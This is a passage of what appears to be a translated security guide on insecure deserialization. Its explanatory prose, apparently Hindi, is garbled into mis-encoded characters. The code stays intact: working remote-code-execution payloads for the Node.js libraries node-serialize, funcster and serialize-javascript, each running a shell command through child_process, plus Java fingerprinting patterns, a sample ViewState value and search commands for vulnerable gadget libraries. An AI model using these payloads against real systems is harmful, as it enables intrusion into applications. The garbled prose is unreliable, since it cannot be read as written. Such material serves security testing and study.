рдЖрдк рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЬрдм рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ _$$ND_FUNC$$_ рдлрд╝реНрд▓реИрдЧ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред

рдлрд╛рдЗрд▓ node-serialize/lib/serialize.js рдХреЗ рдЕрдВрджрд░ рдЖрдк рд╡рд╣реА рдлрд╝реНрд▓реИрдЧ рдФрд░ рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЕрдВрддрд┐рдо рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдлрд╝реНрд▓реИрдЧ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ eval рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореВрд▓ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ eval рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕рд┐рд░реНрдл рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдирд╛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛ рдХрд┐ рдХреЛрдб рдХрд╛ рдХреБрдЫ рднрд╛рдЧ y.rce рдХреЛ рдХреЙрд▓ рдХрд░ рд░рд╣рд╛ рд╣реЛ рд╣рдорд╛рд░реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдФрд░ рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рдЕрд╕рдВрднрд╡ рд╣реИред
рд╡реИрд╕реЗ рднреА, рдЖрдк рдмрд╕ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреБрдЫ рдХреЛрд╖реНрдардХреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдХрд░ рддрд╛рдХрд┐ рдЬрдм рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рдП рддреЛ рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлрд╝рдВрдХреНрд╢рди рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПред
рдЕрдЧрд▓реЗ рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдЕрдВрддрд┐рдо рдХреЛрд╖реНрдардХ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ рдФрд░ рдХреИрд╕реЗ unserialize рдлрд╝рдВрдХреНрд╢рди рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдпрд╣ рдкреБрд╕реНрддрдХрд╛рд▓рдп _$$ND_FUNC$$_ рдХреЗ рдмрд╛рдж рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрд╕реЗ eval рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдХреЛрдб рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд╛рд░реНрдпрдХреНрд░рдо рдирд┐рд░реНрдорд╛рдг рднрд╛рдЧ рдФрд░ рдЕрдВрддрд┐рдо рдХреЛрд╖реНрдардХ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмрд╕ рдПрдХ JS рдПрдХрд▓ рд░реЗрдЦрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

рдЖрдк рдпрд╣рд╛рдВ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАред

funcster

funcster рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрд╣рд▓реВ рдорд╛рдирдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд╕реНрддреБрдУрдВ рдХреА рдЕрдиреБрдкрд▓рдмреНрдзрддрд╛ рд╣реИ; рдпреЗ рд╕реБрд▓рдн рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рд╣реИрдВред рдпрд╣ рдкреНрд░рддрд┐рдмрдВрдз рдЙрди рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ рдЬреЛ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд╕реНрддреБрдУрдВ рдкрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ console.log() рдпрд╛ require(something) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ "ReferenceError: console is not defined" рдЬреИрд╕реА рдЕрдкрд╡рд╛рджреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИред

рдЗрд╕ рд╕реАрдорд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рдВрджрд░реНрдн рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рднреА рдорд╛рдирдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд╕реНрддреБрдПрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рд╡реИрд╢реНрд╡рд┐рдХ рд╕рдВрджрд░реНрдн рдХрд╛ рд╕реАрдзреЗ рд▓рд╛рдн рдЙрдард╛рдХрд░, рдХреЛрдИ рдЗрд╕ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдирд┐рдкреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╣реБрдВрдЪ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕реНрд░реЛрдд рдХреЛ рдкрдврд╝реЗрдВ.

serialize-javascript

serialize-javascript рдкреИрдХреЗрдЬ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЕрдиреБрдХреНрд░рдордг рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдЕрд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рдирд╣реАрдВ рд╣реИрдВред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рд╡рд┐рдзрд┐ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВред рдЕрдиреБрдХреНрд░рдорд┐рдд рдбреЗрдЯрд╛ рдХреЛ рдЕрд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдЙрджрд╛рд╣рд░рдг рджреНрд╡рд╛рд░рд╛ eval рдХрд╛ рдкреНрд░рддреНрдпрдХреНрд╖ рдЙрдкрдпреЛрдЧ рд╕реБрдЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

рдпрджрд┐ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕реНрд░реЛрдд рдХреЛ рдкрдврд╝реЗрдВ.

Cryo рдкреБрд╕реНрддрдХрд╛рд▓рдп

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрдареЛрдВ рдкрд░ рдЖрдк рдЗрд╕ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

Java - HTTP

Java рдореЗрдВ, deserialization callbacks deserialization рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдЙрди рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдРрд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг payloads рддреИрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЗрди callbacks рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛрддреА рд╣реИред

Fingerprints

White Box

рдХреЛрдбрдмреЗрд╕ рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд serialization рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ:

  • рдХрдХреНрд╖рд╛рдПрдБ рдЬреЛ Serializable рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреА рд╣реИрдВред
  • java.io.ObjectInputStream, readObject, readUnshare рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧред

рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджреЗрдВ:

  • XMLDecoder рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рд╣рд░реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ред
  • XStream рдХрд╛ fromXML рд╡рд┐рдзрд┐, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ XStream рд╕рдВрд╕реНрдХрд░рдг 1.46 рдпрд╛ рдЙрд╕рд╕реЗ рдХрдо рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ serialization рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред
  • ObjectInputStream рдЬреЛ readObject рд╡рд┐рдзрд┐ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред
  • readObject, readObjectNodData, readResolve, рдпрд╛ readExternal рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдиред
  • ObjectInputStream.readUnsharedред
  • Serializable рдХрд╛ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧред

Black Box

рдмреНрд▓реИрдХ рдмреЙрдХреНрд╕ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП, рдЙрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдпрд╛ "рдореИрдЬрд┐рдХ рдмрд╛рдЗрдЯреНрд╕" рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ java serialized objects рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ (рдЬреЛ ObjectInputStream рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддреЗ рд╣реИрдВ):

  • рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдкреИрдЯрд░реНрди: AC ED 00 05ред
  • рдмреЗрд╕64 рдкреИрдЯрд░реНрди: rO0ред
  • HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдЬрд┐рдирдореЗрдВ Content-type application/x-java-serialized-object рдкрд░ рд╕реЗрдЯ рд╣реИред
  • рдкреВрд░реНрд╡ рд╕рдВрдХреБрдЪрди рдХреЛ рджрд░реНрд╢рд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдкреИрдЯрд░реНрди: 1F 8B 08 00ред
  • рдкреВрд░реНрд╡ рд╕рдВрдХреБрдЪрди рдХреЛ рджрд░реНрд╢рд╛рдиреЗ рд╡рд╛рд▓рд╛ рдмреЗрд╕64 рдкреИрдЯрд░реНрди: H4sIAред
  • .faces рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╡рд╛рд▓реЗ рд╡реЗрдм рдлрд╝рд╛рдЗрд▓реЗрдВ рдФрд░ faces.ViewState рдкреИрд░рд╛рдореАрдЯрд░ред рдЗрди рдкреИрдЯрд░реНрдиреЛрдВ рдХреА рдЦреЛрдЬ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рдкрд░реАрдХреНрд╖рд╛ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрдиреА рдЪрд╛рд╣рд┐рдП рдЬреИрд╕рд╛ рдХрд┐ Java JSF ViewState Deserialization рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Check if vulnerable

рдпрджрд┐ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ Java Deserialized exploit рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ Basic Java Deserialization, Java DNS Deserialization, рдФрд░ CommonsCollection1 Payload рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓рдиреА рдЪрд╛рд╣рд┐рдПред

White Box Test

рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдРрд╕рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реИрдВред

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

рдЖрдк рд╕рднреА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЬреНрдЮрд╛рдд рд╣реИрдВ рдХрд┐ рд╡реЗ рдХрдордЬреЛрд░ рд╣реИрдВ рдФрд░ рдЬреЛ Ysoserial рдПрдХ рд╢реЛрд╖рдг рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╛ рдЖрдк Java-Deserialization-Cheat-Sheet рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЖрдк gadgetinspector рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрднрд╛рд╡рд┐рдд рдЧреИрдЬреЗрдЯ рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЬрдм рдЖрдк gadgetinspector рдЪрд▓рд╛ рд░рд╣реЗ рд╣реЛрдВ (рдЗрд╕реЗ рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж) рддреЛ рдЗрд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдвреЗрд░ рд╕рд╛рд░реЗ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ/рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рдкрд░рд╡рд╛рд╣ рди рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдкреВрд░рд╛ рд╣реЛрдиреЗ рджреЗрдВред рдпрд╣ рд╕рднреА рдирд┐рд╖реНрдХрд░реНрд╖реЛрдВ рдХреЛ gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt рдореЗрдВ рд▓рд┐рдЦреЗрдЧрд╛ред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ gadgetinspector рдПрдХ рд╢реЛрд╖рдг рдирд╣реАрдВ рдмрдирд╛рдПрдЧрд╛ рдФрд░ рдпрд╣ рдЭреВрдареЗ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИред

рдмреНрд▓реИрдХ рдмреЙрдХреНрд╕ рдкрд░реАрдХреНрд╖рдг

Burp рдПрдХреНрд╕рдЯреЗрдВрд╢рди gadgetprobe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдХреМрди рд╕реА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ (рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╕рдВрд╕реНрдХрд░рдг рднреА) рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде, рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЗрд▓реЛрдб рдЪреБрдирдирд╛ рдЖрд╕рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдЧреИрдЬреЗрдЯрдкреНрд░реЛрдм рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдкрдврд╝реЗрдВред
GadgetProbe ObjectInputStream deserializations рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред

Burp рдПрдХреНрд╕рдЯреЗрдВрд╢рди Java Deserialization Scanner рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдХрдордЬреЛрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ ysoserial рдХреЗ рд╕рд╛рде рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдирдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
Java Deserialization Scanner рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдкрдврд╝реЗрдВред
Java Deserialization Scanner ObjectInputStream deserializations рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред

рдЖрдк Freddy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Burp рдореЗрдВ deserializations рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд▓рдЧрдЗрди рдХреЗрд╡рд▓ ObjectInputStream рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓рдЧрд╛рдПрдЧрд╛ рдмрд▓реНрдХрд┐ Json рдФрд░ Yml deserialization рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рд╕реЗ рднреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдЧрд╛ред рд╕рдХреНрд░рд┐рдп рдореЛрдб рдореЗрдВ, рдпрд╣ рдиреАрдВрдж рдпрд╛ DNS рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ред
рдЖрдк рдпрд╣рд╛рдВ Freddy рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Serialization рдкрд░реАрдХреНрд╖рдг

